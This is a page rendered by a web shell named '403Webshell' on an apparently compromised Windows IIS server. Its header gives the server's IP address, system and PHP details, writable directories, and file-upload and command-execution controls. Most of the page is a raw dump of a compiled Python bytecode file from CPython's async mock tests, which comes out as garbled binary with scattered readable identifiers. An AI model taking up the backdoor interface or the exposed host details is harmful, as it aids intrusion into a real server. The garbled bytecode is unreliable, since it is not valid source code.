403Webshell
Server IP : 121.121.20.254  /  Your IP : 216.73.216.202
Web Server : Microsoft-IIS/10.0
System : Windows NT WEB-SERVER 10.0 build 20348 (Windows Server 2022) AMD64
User : IUSR ( 0)
PHP Version : 8.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/Python313/Lib/test/test_unittest/testmock/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/Python313/Lib/test/test_unittest/testmock/__pycache__/testasync.cpython-313.pyc
�

��ip����SSKrSSKrSSKrSSKrSSKrSSKJr SSKJr \R"SS9 SSKJ
r
Jr SSKJr SSK
JrJrJrJrJrJrJrJrJrJr S	r"S
S5r"SS
5rSrSrSr"SS\5r\ S3r!\ S3r"\S5r#"SS\RH5r%"SS\RH5r&"SS\RH5r'"SS\RH5r("SS\RH5r)"S S!\RH5r*"S"S#\5r+"S$S%\RH5r,"S&S'\RH5r-"S(S)\RH5r."S*S+\RH5r/\ S,:Xa\R`"5 gg)-�N)�contextmanager)�supportT)�module)�run�iscoroutinefunction)�IsolatedAsyncioTestCase)
�ANY�call�	AsyncMock�patch�	MagicMock�Mock�create_autospec�sentinel�	_CallList�sealc�0�[R"S5 g�N)�asyncio�set_event_loop_policy���:C:\Python313\\Lib\test\test_unittest\testmock\testasync.py�tearDownModulers���!�!�$�'rc�F�\rSrSrSrSrSr\S5r\	S5r
Srg)	�
AsyncClass�c��grr��selfs r�__init__�AsyncClass.__init__s��rc��# �g7frrrs r�async_method�AsyncClass.async_methods���$���c��grrrs r�
normal_method�AsyncClass.normal_method���Trc��# �g7frr)�clss r�async_class_method�AsyncClass.async_class_methods���'+�r&c��# �g7frrrrr�async_static_method�AsyncClass.async_static_methods���%)�r&rN)�__name__�
__module__�__qualname__�__firstlineno__r!r$r(�classmethodr-�staticmethodr0�__static_attributes__rrrrrs'���&�!��+��+��)��)rrc��\rSrSrSrSrg)�AwaitableClass�!c#�# �Sv� g7frrrs r�	__await__�AwaitableClass.__await__"s������rN)r2r3r4r5r=r8rrrr:r:!s��rr:c��# �g7frrrrr�
async_funcrA$s����r&c��# �g7frr)�a�b�cs   r�async_func_argsrF&����t�r&c��grrrrr�normal_funcrI(���4rc��\rSrSrSrSrg)�NormalClass�*c��grrrs rrC�
NormalClass.a+s��rrN)r2r3r4r5rCr8rrrrLrL*s��rrLz.AsyncClassz.NormalClassc#�# �UR[S5 Sv� [R"5 SSS5 g!,(df   g=f7f)Nzwas never awaited$)�assertWarnsRegex�RuntimeWarning�gc�collect)�tests r�assertNeverAwaitedrV2s0���	
�	�	�~�/C�	D�
�	�
�
��	
E�	D�	D�s�A
�<�	A
�
A
�A
c�8�\rSrSrSrSrSrSrSrSr	Sr
g	)
�AsyncPatchDecoratorTest�;c�\^�[R"[S5U4Sj5nU"5 g)Nr$c�:>�TR[U55 gr)�
assertTruer��mock_methodr s �r�
test_async�LAsyncPatchDecoratorTest.test_is_coroutine_function_patch.<locals>.test_async=s����O�O�/��<�=r�r�objectr�r r_s` r� test_is_coroutine_function_patch�8AsyncPatchDecoratorTest.test_is_coroutine_function_patch<s%���	���j�.�	1�	>�
2�	>��rc�^�[R"[S5U4Sj5n[[S35U4Sj5nU"5 U"5 g)Nr$c�t>�U"5nTR[R"U55 [U5 gr�r\�inspect�isawaitabler�r^�mr s  �rr_�?AsyncPatchDecoratorTest.test_is_async_patch.<locals>.test_asyncC�(����
�A��O�O�G�/�/��2�3���Frz
.async_methodc�t>�U"5nTR[R"U55 [U5 grrhrks  �r�test_no_parent_attribute�MAsyncPatchDecoratorTest.test_is_async_patch.<locals>.test_no_parent_attributeIrnr)rrbr�async_foo_name)r r_rps`  r�test_is_async_patch�+AsyncPatchDecoratorTest.test_is_async_patchBsN���	���j�.�	1�	�
2�	�

�.�!��/�	0�	�
1�	�
	�� �"rc�\^�[R"[S5U4Sj5nU"5 g)Nr$c�2>�TRU[5 gr��assertIsInstancerr]s �rr_�CAsyncPatchDecoratorTest.test_is_AsyncMock_patch.<locals>.test_asyncS�����!�!�+�y�9rrarcs` r�test_is_AsyncMock_patch�/AsyncPatchDecoratorTest.test_is_AsyncMock_patchRs'���	���j�.�	1�	:�
2�	:�	�rc�\^�[R"[S5U4Sj5nU"5 g)Nr0c�2>�TRU[5 grrwr]s �rr_�PAsyncPatchDecoratorTest.test_is_AsyncMock_patch_staticmethod.<locals>.test_asyncZrzrrarcs` r�$test_is_AsyncMock_patch_staticmethod�<AsyncPatchDecoratorTest.test_is_AsyncMock_patch_staticmethodYs(���	���j�"7�	8�	:�
9�	:�	�rc�\^�[R"[S5U4Sj5nU"5 g)Nr-c�2>�TRU[5 grrwr]s �rr_�OAsyncPatchDecoratorTest.test_is_AsyncMock_patch_classmethod.<locals>.test_asyncarzrrarcs` r�#test_is_AsyncMock_patch_classmethod�;AsyncPatchDecoratorTest.test_is_AsyncMock_patch_classmethod`s(���	���j�"6�	7�	:�
8�	:�	�rc��^�[[S3SS9[[S3SS9U4Sj55n[U"55 TR[R
"[55 g)N�.async_func���return_value�.async_func_args�c��x># �TRURS5 TRURS5 TR[[5 TR[
[5 TR[5IShv�NS5 TR[SSSS9IShv�NS5 gN-N7f)NrFrAr�r���rE)�assertEqual�
_mock_namerxrArrF)�func_args_mock�	func_mockr s  �rr_�@AsyncPatchDecoratorTest.test_async_def_patch.<locals>.test_asynchs�����
���^�6�6�8I�J����Y�1�1�<�@��!�!�*�i�8��!�!�/�9�=����:�<�/��3����?�1�a�1�#=�=�q�A�0�=�s$�BB:�B6�	"B:�+B8�,B:�8B:)rr2rr\rirrArcs` r�test_async_def_patch�,AsyncPatchDecoratorTest.test_async_def_patchgs_���	�(��;�'�a�	8�	�(��+�,�1�	=�	B�
>�
9�	B�	�J�L������3�3�J�?�@rrN)r2r3r4r5rdrsr{r�r�r�r8rrrrXrX;s!���#� ���ArrXc�8�\rSrSrSrSrSrSrSrSr	Sr
g	)
�AsyncPatchCMTest�xc� ^�U4SjnU"5 g)Nc�>�[R"[S5nTR[	U55 SSS5 g!,(df   g=f�Nr$)rrbrr\rr]s �rr_�>AsyncPatchCMTest.test_is_async_function_cm.<locals>.test_asynczs1������j�.�9�[���� 3�K� @�A�:�9�9�s�A�
Arrcs` r�test_is_async_function_cm�*AsyncPatchCMTest.test_is_async_function_cmys���	B�	�rc� ^�U4SjnU"5 g)Nc��>�[R"[S5nU"5nTR[R
"U55 [
U5 SSS5 g!,(df   g=fr�)rrbrr\rirjrrks  �rr_�5AsyncPatchCMTest.test_is_async_cm.<locals>.test_async�sD������j�.�9�[��M������ 3� 3�A� 6�7��A��:�9�9�s�8A�
A,rrcs` r�test_is_async_cm�!AsyncPatchCMTest.test_is_async_cm�s���	�	�rc� ^�U4SjnU"5 g)Nc�>�[R"[S5nTRU[5 SSS5 g!,(df   g=fr�)rrbrrxrr]s �rr_�9AsyncPatchCMTest.test_is_AsyncMock_cm.<locals>.test_async�s/������j�.�9�[��%�%�k�9�=�:�9�9�s	�=�
Arrcs` r�test_is_AsyncMock_cm�%AsyncPatchCMTest.test_is_AsyncMock_cm�s���	>�	�rc�2^�U4Sjn[U"55 g)Nc��># �[[S3[55 TR[[5 SSS5 TR[R"[55 g!,(df   N8=f7f)Nr�)rr2rrxrAr\rirrs�rr_�6AsyncPatchCMTest.test_async_def_cm.<locals>.test_async�sM�����(��;�/���=��%�%�j�)�<�>��O�O�G�7�7�
�C�D�>�=�s�A=�A,�2A=�,
A:�6A=�rrcs` r�test_async_def_cm�"AsyncPatchCMTest.test_async_def_cm�s���	E�
	�J�L�rc�^^�SS0m[R"TSS05UU4Sj5nTR[U55 [	U"55 g)NrCrDc��8># �TRTSS5 g7f�NrCrD)r���foor s��rr_�>AsyncPatchCMTest.test_patch_dict_async_def.<locals>.test_async�s�������S��X�s�+�s�)r�dictr\rr�r r_r�s` @r�test_patch_dict_async_def�*AsyncPatchCMTest.test_patch_dict_async_def�sK����C�j��	���C�#�s��	$�	,�
%�	,�	
���+�J�7�8��J�L�rc�>^^�SS0mUU4Sjn[U"55 g)NrCc��># �[R"TSS05 TRTSS5 SSS5 g!,(df   g=f7fr�)rr�r�r�s��rr_�FAsyncPatchCMTest.test_patch_dict_async_def_context.<locals>.test_async�s7�������C�#�s��,�� � ��S��3�/�-�,�,�s�A
�<�	A
�
A
�A
r�r�s` @r�!test_patch_dict_async_def_context�2AsyncPatchCMTest.test_patch_dict_async_def_context�s����C�j��	0�	�J�L�rrN)r2r3r4r5r�r�r�r�r�r�r8rrrr�r�xs �������rr�c�2�\rSrSrSrSrSrSrSrSr	g)	�
AsyncMockTest�c�L�[5nUR[U55 gr)rr\r�r �mocks  r� test_iscoroutinefunction_default�.AsyncMockTest.test_iscoroutinefunction_default�s���{�����+�D�1�2rc��Sn[U5nUR[U55 UR[R"U55 g)Nc��# �g7frrrrrr��<AsyncMockTest.test_iscoroutinefunction_function.<locals>.foo�s����r&�rr\rri�r r�r�s   r�!test_iscoroutinefunction_function�/AsyncMockTest.test_iscoroutinefunction_function�s7�����~�����+�D�1�2�����3�3�D�9�:rc��[5nU"5nUR[R"U55 [	U5 URS[
U55 g)N�assert_awaited)rr\rirjr�assertIn�dir�r r�rls   r�test_isawaitable�AsyncMockTest.test_isawaitable�sA���{���F������+�+�A�.�/��A���
�
�&��D�	�2rc��Sn[U5nUR[U55 UR[R"U55 g)Nc��grrrrrr��CAsyncMockTest.test_iscoroutinefunction_normal_function.<locals>.foo�rJrr�r�s   r�(test_iscoroutinefunction_normal_function�6AsyncMockTest.test_iscoroutinefunction_normal_function�s7�����~�����+�D�1�2�����3�3�D�9�:rc���[R"5nUR5nUR5 UR	5 [U5nUR
U[R5 gr)r�new_event_loop�
create_future�stop�closerrx�Future)r �loop�futr�s    r�test_future_isfuture�"AsyncMockTest.test_future_isfuture�sM���%�%�'��� � �"���	�	���
�
����~�����d�G�N�N�3rrN)
r2r3r4r5r�r�r�r�r�r8rrrr�r��s��3�;�3�;�4rr�c�2�\rSrSrSrSrSrSrSrSr	g)	�AsyncAutospecTest��c�~^�[[SS9U4Sj5n[[SS9U4Sj5nU"5 U"5 g)NT��autospecc�r>�TRUR[5 TRU[5 gr�rxr$rr
r]s �rr_�=AsyncAutospecTest.test_is_AsyncMock_patch.<locals>.test_async�s)����!�!�+�":�":�I�F��!�!�+�y�9rc�F>�TRUR[5 gr)rxr(r
r]s �r�test_normal_method�EAsyncAutospecTest.test_is_AsyncMock_patch.<locals>.test_normal_method�s����!�!�+�";�";�Y�Gr�rrr)r r_r�s`  rr{�)AsyncAutospecTest.test_is_AsyncMock_patch�sF���	�~��	-�	:�
.�	:�
�~��	-�	H�
.�	H�	���rc�~�UR[5 [[SS9 SSS5 g!,(df   g=f)NT)�instance)�assertRaises�RuntimeErrorrrArs r�test_create_autospec_instance�/AsyncAutospecTest.test_create_autospec_instance�s&��
�
�
�|�
,��J��6�-�
,�
,�s�.�
<c	�^�[[5nU"SSSS9mU4SjnURURS5 UR	UR
5 URUR/5 UR5 [U"55 UR[U55 UR[R"U55 UR[R"T55 UR[R"T55 URURS5 URUR
[SSSS95 URUR[SSSS9/5 UR5 UR!SSSS9 UR#SSSS9 UR%5 UR'[(5 UR+SS9 SSS5 g!,(df   g=f)Nr�r�r�r�c��&># �TIShv�N gN7frr��	awaitables�r�main�4AsyncAutospecTest.test_create_autospec.<locals>.main��
�����O�O�����r)�e)rrFr��await_count�assertIsNone�
await_args�await_args_list�assert_not_awaitedrr\rrir�iscoroutiner
�assert_awaited_once�assert_awaited_once_with�assert_awaited_withr�r��AssertionError�assert_any_await�r �specr�r�s   @r�test_create_autospec�&AsyncAutospecTest.test_create_autospec�s������/����A��O�	�	�	
����)�)�1�-����$�/�/�*�����-�-�r�2����!��D�F�����+�D�1�2�����3�3�D�9�:�����+�+�I�6�7�����+�+�I�6�7�����)�)�1�-�������$�q�!�q�/�:�����-�-��Q��Q��/@�A�� � �"��%�%�a��a�%�0�� � ��A�� �+�����
�
�
�~�
.��!�!�A�!�&�/�
.�
.�s�G2�2
Hc��^�[[5nU"5mURUR/5 U4SjnUR	[
5 [
U"55 SSS5 URUR/5 URURS5 URUR5 URUR/5 UR5 g!,(df   N�=f)Nc��&># �TIShv�N gN7frrr�s�rr��>AsyncAutospecTest.test_autospec_checks_signature.<locals>.main�r�rr)
rrF�assertListEqual�
mock_callsr��	TypeErrorrr�rrrrrr
s   @r�test_autospec_checks_signature�0AsyncAutospecTest.test_autospec_checks_signature�s������/���F�	����T�_�_�b�1�	��
�
�y�
)����K�*�	
���T�_�_�b�1�����)�)�1�-����$�/�/�*�����-�-�r�2����!�*�
)�s�C(�(
C6c�2^�U4Sjn[U"55 g)Nc	��
># �[[S3SS9nU"SSSS9nTRUR[5 TR[
U55 TR[R"U55 TR[R"U55 TR[R"U55 TR[R"U55 TRURS5 TRUR/5 TRUR5 UR!5 UIShv�N SSS5 TRWRS5 TRUR[#SSSS95 TRUR[#SSSS9/5 UR%5 UR'SSSS9 UR)SSSS9 UR+5 UR-5 TRURS5 TRUR5 TRUR/5 gGN!,(df   GN=f7f)	Nr�Tr�r�r�r�r�r)rr2rxr�rr\rrirrrjr�rrrrrr
rr	r
r��
reset_mock)r^r�r s  �rr_�>AsyncAutospecTest.test_patch_with_autospec.<locals>.test_asyncs������(��#3�4�t�D��'��1��2�	��%�%�k�&6�&6�	�B���� 3�K� @�A����� ;� ;�K� H�I����� 3� 3�I� >�?����� 3� 3�I� >�?����� 3� 3�I� >�?�� � ��!8�!8�!�<�� � ��!<�!<�b�A��!�!�+�"8�"8�9��.�.�0����!E�$
���[�4�4�a�8����[�3�3�T�!�Q�!�_�E����[�8�8�4��1��?�:K�L��+�+�-��0�0��A��0�;��+�+�A�q�A�+�6��&�&�(��"�"�$����[�4�4�a�8����k�4�4�5����[�8�8�"�=� �!E�D�s0�J�D?I1�I.�I1�DJ�.I1�1
J�;Jr�rcs` r�test_patch_with_autospec�*AsyncAutospecTest.test_patch_with_autospec
s���	>�@	�J�L�rrN)
r2r3r4r5r{r�rrrr8rrrr�r��s���7�'�8"�("rr�c�b�\rSrSrSrSrSrSrSrSr	Sr
S	rS
rSr
SrS
rSrSrg)�
AsyncSpecTesti2c�^�U4Sjn[[4H(nTRSU35 U"U5 SSS5 M* g!,(df   M<=f)Nc�>�U"[5nTRUR[5 TRUR[
5 gr)rrxr$rr(r
)�	mock_typer�r s  �r�
inner_test�CAsyncSpecTest.test_spec_normal_methods_on_class.<locals>.inner_test4s9����Z�(�D��!�!�$�"3�"3�Y�?��!�!�$�"4�"4�i�@rztest method types with �rr
�subTest�r r$r#s`  r�!test_spec_normal_methods_on_class�/AsyncSpecTest.test_spec_normal_methods_on_class3sF���	A�
$�Y�/�I���� 7�	�{�C�D��9�%�E�D�0�D�D���	A�
A	c��[[5nURUR[5 URUR
[5 gr)rrrxr$rr(r�s  r�+test_spec_normal_methods_on_class_with_mock�9AsyncSpecTest.test_spec_normal_methods_on_class_with_mock=s8���J������d�/�/��;����d�0�0�$�7rc�$�[[5n[U5 UR[5 UR
 SSS5 UR[5 UR SSS5 g!,(df   N9=f!,(df   g=fr)rrrr��AttributeErrorr(r$r�s  r�0test_spec_normal_methods_on_class_with_mock_seal�>AsyncSpecTest.test_spec_normal_methods_on_class_with_mock_sealBs^���J����T�
�
�
�
�~�
.����/�
�
�
�~�
.����/�
.�/�
.��
.�
.�s�
A0�
B�0
A>�
Bc���[5n[Ul[Ul[US9n[UlUR
UR[5 URUR[5 g�N��spec_set)	rrA�async_func_attrrI�later_async_func_attrrrxr�assertNotIsInstance)r �async_instance�mock_async_instances   r�#test_spec_async_attributes_instance�1AsyncSpecTest.test_spec_async_attributes_instanceJsZ��#���)3��&�/:��,�"�N�;��/9��,����1�A�A�9�M�� � �!4�!J�!J�I�Vrc�^�U4Sjn[[[4H(nTRSU35 U"U5 SSS5 M* g!,(df   M<=f)Nc�>�U"[S9nTRX5 [T5 TR[R
"U"555 SSS5 U"[S9nTRX 5 g!,(df   N*=f�N�r�rArxrVr\rirjrI�r#�
async_mock�	sync_mockr s   �rr$�8AsyncSpecTest.test_spec_mock_type_kw.<locals>.inner_testXsd���"�
�3�J��!�!�*�8�#�D�)����� 3� 3�J�L� A�B�*�"�{�3�I��!�!�)�7�	*�)�s�+A7�7
Bztest spec kwarg with �rr
rr'r(s`  r�test_spec_mock_type_kw�$AsyncSpecTest.test_spec_mock_type_kwWsG���	8�$�Y��5�I���� 5�i�[�A�B��9�%�C�B�6�B�B���	A�
A	c�^�U4Sjn[[[4H(nTRSU35 U"U5 SSS5 M* g!,(df   M<=f)Nc�>�U"[5nTRX5 [T5 TR[R
"U"555 SSS5 U"[5nTRX 5 g!,(df   N,=frrBrCs   �rr$�@AsyncSpecTest.test_spec_mock_type_positional.<locals>.inner_testfsd���"�:�.�J��!�!�*�8�#�D�)����� 3� 3�J�L� A�B�*�"�+�.�I��!�!�)�7�	*�)�s�+A;�;
B	ztest spec positional with rGr(s`  r�test_spec_mock_type_positional�,AsyncSpecTest.test_spec_mock_type_positionalesG���	8�$�Y��5�I���� :�9�+�F�G��9�%�H�G�6�G�G�rJc��[[S9nURU[5 U"5nUR[R
"U55 [
U5 gr@�rrIrxr\rirjrr�s   r� test_spec_as_normal_kw_AsyncMock�.AsyncSpecTest.test_spec_as_normal_kw_AsyncMockssA���k�*�����d�I�.��F������+�+�A�.�/��A�rc��[[5nURU[5 U"5nUR[R
"U55 [
U5 grrQr�s   r�(test_spec_as_normal_positional_AsyncMock�6AsyncSpecTest.test_spec_as_normal_positional_AsyncMockzsA����%�����d�I�.��F������+�+�A�.�/��A�rc�Z^�[R"[SSS9U4Sj5nU"5 g)Nr$TrAc�2>�TRU[5 grrwr]s �rr_�6AsyncSpecTest.test_spec_async_mock.<locals>.test_async�rzrrarcs` r�test_spec_async_mock�"AsyncSpecTest.test_spec_async_mock�s)���	���j�.�t�	<�	:�
=�	:�	�rc�B^�[[SS9U4Sj5nU"5 g)NTrAc�r>�TRU[5 TRUR[5 gr)rxr
r$rr]s �rr_�IAsyncSpecTest.test_spec_parent_not_async_attribute_is.<locals>.test_async�s)����!�!�+�y�9��!�!�+�":�":�I�Frr�rcs` r�'test_spec_parent_not_async_attribute_is�5AsyncSpecTest.test_spec_parent_not_async_attribute_is�s%���	�~�D�	)�	G�
*�	G�	�rc�v^�[R"[S[RS9U4Sj5nU"5 g)Nr$rAc��>�TRU[5 TR[R"U55 TR[R
"U55 gr)rxr
�assertFalserirrjr]s �r�test_async_attribute�FAsyncSpecTest.test_target_async_spec_not.<locals>.test_async_attribute�sE����!�!�+�y�9����W�0�0��=�>����W�0�0��=�>r)rrbrrLrC)r rds` r�test_target_async_spec_not�(AsyncSpecTest.test_target_async_spec_not�s/���	���j�.�{�}�}�	E�	?�
F�	?�
	�rc�b^�[R"[S[S9U4Sj5nU"5 g)NrCrAc�2>�TRU[5 grrw)�mock_async_funcr s �r� test_attribute_not_async_spec_is�UAsyncSpecTest.test_target_not_async_spec_is.<locals>.test_attribute_not_async_spec_is�s����!�!�/�9�=r)rrbrLrA)r rks` r�test_target_not_async_spec_is�+AsyncSpecTest.test_target_not_async_spec_is�s(���	���k�3�Z�	8�	>�
9�	>�(�*rc�J^�[[[S9U4Sj5nU"5 g)NrAc�r>�TRUR[5 TRU[5 grr�)�MockNormalClassr s �r� test_async_attributes_coroutines�RAsyncSpecTest.test_spec_async_attributes.<locals>.test_async_attributes_coroutines�s)����!�!�/�">�">�	�J��!�!�/�9�=r)r�normal_foo_namer)r rrs` r�test_spec_async_attributes�(AsyncSpecTest.test_spec_async_attributes�s$���	��Z�	0�	>�
1�	>�	)�*rrN)r2r3r4r5r)r-r1r<rHrNrRrUrZr_rfrmrur8rrrr r 2sD��&�8�
�W�&�&������+�+rr c�,�\rSrSrSrSrSrSrSrg)�AsyncSpecSetTesti�c�Z^�[R"[SSS9U4Sj5nU"5 g)Nr$Tr5c�2>�TRU[5 grrw)r$r s �rr_�<AsyncSpecSetTest.test_is_AsyncMock_patch.<locals>.test_async�s����!�!�,�	�:rrarcs` rr{�(AsyncSpecSetTest.test_is_AsyncMock_patch�s(���	���j�.�4�	@�	;�
A�	;��rc��[[RS9nUR[	U55 URU[5 gr4)rrr$r\rrxr�s  r�test_is_async_AsyncMock�(AsyncSpecSetTest.test_is_async_AsyncMock�s4���*�"9�"9�:�����+�D�1�2����d�I�.rc�Z�[[S9nUR[UR55 UR[UR55 URUR[5 URUR[5 URU[5 gr4)	r
rr\rr$rcr(rxrr�s  r�test_is_child_AsyncMock�(AsyncSpecSetTest.test_is_child_AsyncMock�sz���*�-�����+�D�,=�,=�>�?����,�T�-?�-?�@�A����d�/�/��;����d�0�0�)�<����d�I�.rc���[5n[SS9Ul[R"US5nUR	U[5 SSS5 g!,(df   g=f)Nc��U$rr��xs r�<lambda>�=AsyncSpecSetTest.test_magicmock_lambda_spec.<locals>.<lambda>�s��arrA�	mock_func)r
r�rrbrx)r �mock_obj�cms   r�test_magicmock_lambda_spec�+AsyncSpecSetTest.test_magicmock_lambda_spec�sB���;��&�K�8���
�\�\�(�K�
0�B��!�!�"�i�0�1�
0�
0�s�A�
ArN)	r2r3r4r5r{r~r�r�r8rrrrxrx�s���/�
/�1rrxc�b�\rSrSrSrSrSrSrSrSr	Sr
S	rS
rSr
SrS
rSrSrg)�AsyncArgumentsi�c��n# �Sn[USS9nU"S5IShv�NnURUS5 gN7f)Nc��# �g7frr)r �vars  r�addition�6AsyncArguments.test_add_return_value.<locals>.addition�rGr&�
r���rr�)r r�r��outputs    r�test_add_return_value�$AsyncArguments.test_add_return_value�s4���+����3���A�w��������$��s�5�3�5c���# �"SS[5nSn[X!"S5S9nURUS5 U"S5IShv�N SSS5 gN
!,(df   g=f7f)Nc��\rSrSrSrg)�BAsyncArguments.test_add_side_effect_exception.<locals>.CustomErrori�rN�r2r3r4r5r8rrr�CustomErrorr��s��drr�c��# �g7frr�r�s rr��?AsyncArguments.test_add_side_effect_exception.<locals>.addition�s����r&zside-effect��side_effectr�)�	Exceptionr�assertRaisesRegex)r r�r�r�s    r�test_add_side_effect_exception�-AsyncArguments.test_add_side_effect_exception�sQ���*�)�*�%���{�=�/I�J��
�
#�
#�K��
?��q�'�M�M�@�
?��@�
?�s.�4A#�A�A�A�	A#�A�
A �A#c��l# �Sn[US9nU"S5IShv�NnURUS5 gN7f)Nc��# �US-$7f�Nr�rr�s rr��?AsyncArguments.test_add_side_effect_coroutine.<locals>.addition�s�����7�N�r?r�r��r��r r�r��results    r�test_add_side_effect_coroutine�-AsyncArguments.test_add_side_effect_coroutine��4���	��X�.���A�w��������#����4�2�4c��l# �Sn[US9nU"S5IShv�NnURUS5 gN7f)Nc��US-$r�rr�s rr��EAsyncArguments.test_add_side_effect_normal_function.<locals>.addition�s����7�Nrr�r�r�r�r�s    r�$test_add_side_effect_normal_function�3AsyncArguments.test_add_side_effect_normal_function�r�r�c��# �/SQn[US9nUH"nURU"5IShv�NU5 M$ UR[5nU"5IShv�N SSS5 gN;N!,(df   g=f7f)N�r�r�r�r�)rr�r��StopAsyncIteration)r �valsr��itemrs     r�test_add_side_effect_iterable�,AsyncArguments.test_add_side_effect_iterable�sh������T�*���D����4�6�\�4�0���
�
�1�
2�a��&�L�L�3�
2�*�
�3�
2�s9�(A;�A&
�"A;�
A*�A(�A*�
A;�(A*�*
A8�4A;c��
# �"SS[5nSU"S5/n[US9nURU"5IShv�NS5 URU5nU"5IShv�N SSS5 gN3N!,(df   g=f7f)Nc��\rSrSrSrg)�OAsyncArguments.test_add_side_effect_exception_iterable.<locals>.SampleExceptioni�rNr�rrr�SampleExceptionr��s��rr�r�r�r�)r�rr�r�)r r�r�r�rs     r�'test_add_side_effect_exception_iterable�6AsyncArguments.test_add_side_effect_exception_iterable�ss���	�i�	��?�5�)�*���T�*�����t�v��q�)�
�
�
��
/�1��&�L�L�0�
/�&�
�0�
/�s9�8B�A.�B�A2� A0�!A2�%
B�0A2�2
B�<Bc��t# �[SS9n[US9nU"5IShv�NnURX15 gN7f)Nr�r�)r�assertIs)r �valuer�r�s    r�test_return_value_AsyncMock�*AsyncArguments.test_return_value_AsyncMock�s3����r�*���e�,���v����
�
�f�$��s�8�6�8c���# �[R"5nURS5 [US9nU"5IShv�NnUR	U[R5 gN%7f)Nr�)rr��
set_resultrrx�r r�r�r�s    r�test_return_value_awaitable�*AsyncArguments.test_return_value_awaitable�sI����n�n������t���c�*���v������f�g�n�n�5��s�:A$�A"�&A$c��N# �[R"5nURS5 [U/S9nU"5IShv�NnUR	U[R5 UR[5 U"5IShv�N SSS5 gNRN!,(df   g=f7f)Nr�)rr�r�rrxr�r�r�s    r�!test_side_effect_awaitable_values�0AsyncArguments.test_side_effect_awaitable_valuessx����n�n������t���c�U�+���v������f�g�n�n�5�
�
�
�1�
2��&�L�L�3�
2��
�3�
2�s9�;B%�B�9B%�7B�B�B�
B%�B�
B"�B%c��v# �[SS9n[US9nU"5IShv�NnURUS5 gN7f)Nr�r�r�r�)r �effectr�r�s    r�test_side_effect_is_AsyncMock�,AsyncArguments.test_side_effect_is_AsyncMocks7�����+���V�,���v��������$��s�9�7�9c���^^# �[R"5mSmUU4Sjn[US9nU"5IShv�NnURUT5 UR	5 URT5 gN87f)NFc��># �SmT$7f�NTr��ranr�s��r�inner�2AsyncArguments.test_wraps_coroutine.<locals>.inners�����C��L�s���wraps)rr�rr�r�r\�r r�r�r�r�r�s    @@r�test_wraps_coroutine�#AsyncArguments.test_wraps_coroutines^������� ����	�
�u�%���v��������'�����������s�2A1�A/�9A1c��^^# �SmSmUU4Sjn[US9nU"5IShv�NnURUT5 UR5 URT5 gN87f)Nr�Fc�>�SmT$r�rr�s��rr��8AsyncArguments.test_wraps_normal_function.<locals>.inner(s
����C��Lrr�)rr�r�r\r�s    @@r�test_wraps_normal_function�)AsyncArguments.test_wraps_normal_function$sW��������	�
�u�%���v��������'�����������s�A�A�9Ac��z# �[5nU"S5nU"S5nUIShv�N UIShv�N UR[S5[S5/5 URUR[S5[S5/5 URUR
[S5[S5/5 gN�N�7f)Nr�r�)r�assert_has_awaitsr
r�r�call_args_list)r rD�mock2�mock1s    r�test_await_args_list_order�)AsyncArguments.test_await_args_list_order3s�����[�
��1�
���1�
���������$�$�d�1�g�t�A�w�%7�8�����3�3�d�1�g�t�A�w�5G�H�����2�2�T�!�W�d�1�g�4F�G�		��s � B;�B7�	B;�B9�BB;�9B;rN)r2r3r4r5r�r�r�r�r�r�r�r�r�r�r�r�r�r8rrrr�r��sD��%��$�$��	�%�6�	�%�
�
�Hrr�c�2�\rSrSrSrSrSrSrSrSr	g)	�AsyncMagicMethodsi>c��[5nURUR[5 URUR[5 URUR
[5 URUR[5 gr)r
rx�
__aenter__r�	__aexit__�	__anext__�	__aiter__�r �m_mocks  r�+test_async_magic_methods_return_async_mocks�=AsyncMagicMethods.test_async_magic_methods_return_async_mocks?sc��������f�/�/��;����f�.�.�	�:����f�.�.�	�:�	
���f�.�.�	�:rc��[5nURUR[5 URUR[5 URUR
[5 URUR[5 gr)rrx�	__enter__r
�__exit__�__next__�__len__�r �a_mocks  r�*test_sync_magic_methods_return_magic_mocks�<AsyncMagicMethods.test_sync_magic_methods_return_magic_mocksHs[��������f�.�.�	�:����f�o�o�y�9����f�o�o�y�9����f�n�n�i�8rc��[5nUR[US55 UR[US55 UR[US55 g)Nr�r�r�)r
r\�hasattrr�s  r�&test_magicmock_has_async_magic_methods�8AsyncMagicMethods.test_magicmock_has_async_magic_methodsOsB�����������5�6�������4�5�������4�5rc���[5nUR[US55 UR[US55 UR[US55 UR[US55 g)Nr�r�r�r�)rr\rr�s  r�%test_asyncmock_has_sync_magic_methods�7AsyncMagicMethods.test_asyncmock_has_sync_magic_methodsUsU�����������4�5������
�3�4������
�3�4������	�2�3rc�(�[5nURUR[5 URUR[5 UR[
UR55 UR[
UR55 gr)r
rxr�rr�r\rr�s  r�&test_magic_methods_are_async_functions�8AsyncMagicMethods.test_magic_methods_are_async_functions\se��������f�/�/��;����f�.�.�	�:����+�F�,=�,=�>�?����+�F�,<�,<�=�>rrN)
r2r3r4r5r�rrrrr8rrrr�r�>s��;�9�6�4�?rr�c�n�\rSrSr"SS5r"SS5r"SS5rSrS	rS
r	Sr
SrS
rg)�AsyncContextManagerTestidc� �\rSrSrSrSrSrg)�/AsyncContextManagerTest.WithAsyncContextManagerifc��# �g7frr�r �args�kwargss   rr��:AsyncContextManagerTest.WithAsyncContextManager.__aenter__gs���T�r&c��# �g7frrrs   rr��9AsyncContextManagerTest.WithAsyncContextManager.__aexit__is���D�r&rN)r2r3r4r5r�r�r8rrr�WithAsyncContextManagerrfs��9�8rrc� �\rSrSrSrSrSrg)�.AsyncContextManagerTest.WithSyncContextManagerikc��grrrs   rr��8AsyncContextManagerTest.WithSyncContextManager.__enter__ls��drc��grrrs   rr��7AsyncContextManagerTest.WithSyncContextManager.__exit__ns��TrrN)r2r3r4r5r�r�r8rrr�WithSyncContextManagerrks��2�1rrc� �\rSrSrSrSrSrg)�&AsyncContextManagerTest.ProductionCodeipc��SUlgr��sessionrs rr!�/AsyncContextManagerTest.ProductionCode.__init__rs	���D�Lrc���# �URRS5IShv�NnUR5IShv�NnUsSSS5IShv�N $N/NN	!,IShv�N(df   g=f7f)Nzhttps://python.org)r$�post�json)r �response�vals   rr��+AsyncContextManagerTest.ProductionCode.mainusJ����|�|�(�(�)=�>�>�(�$�M�M�O�+���?�>�>�+�?�>�>�>�sT� A2�A�A2�A�A�A�A2�A�
